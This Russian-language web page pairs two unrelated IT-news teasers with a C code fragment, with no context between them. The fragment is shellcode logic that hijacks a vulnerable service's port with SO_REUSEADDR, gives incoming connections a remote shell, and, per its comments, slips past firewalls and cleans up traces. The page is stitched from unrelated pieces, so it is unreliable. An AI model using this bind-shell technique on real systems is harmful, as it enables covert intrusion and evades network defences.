Вход на хостинг
IT-новости
20.04.2016 iPhone 2017 года поместят в водонепроницаемый корпус из стекла
Линейка iPhone в новом году серьезно поменяется. В этом уверен аналитический исследователь Мин Чи Ку......
30.07.2015 Ищем уникальный контент для сайта
Ищем уникальный контент для сайта Без уникального контента Ваш сайт обречен на то, что его страницы......
// шаг 1: создаем сокет
if ((rsocket = socket(AF_INET, SOCK_STREAM, 0)) < 0) return -1;
// шаг 2: присваиваем атрибут SO_REUSEADDR
if (setsockopt(rsocket, SOL_SOCKET , SO_REUSEADDR , &n_reuse, 4)) return -1;
// шаг 3: связываем сокет с локальным адресом
raddr.sin_family = AF_INET;
raddr.sin_port = htons(V_PORT); // уязвимый порт
raddr.sin_addr.s_addr = INADDR_ANY;
if (bind(rsocket,(struct sockaddr *) &raddr, sizeof(raddr))) return -1;
// шаг 4: слушаем
// при последующих подключениях к уязвимому порту, управление получит shell-код, а не код сервера и этот порт будет
// обязательно открыт на firewall, поскольку это порт «легальной» сетевой службы!
if (listen(rsocket, 0x1)) return -1;
// шаг 5: извлекаем сообщение из очереди
csocket = accept(rsocket, (struct sockaddr *) &raddr, &raddr_size);
// шаг 6: обмениваемся командами с сокетом
sshell((SOCKET) csocket, MAX_BUF_SIZE);
// шаг 7 - подчищаем за собой следы
closesocket(rsocket);
closesocket(csocket);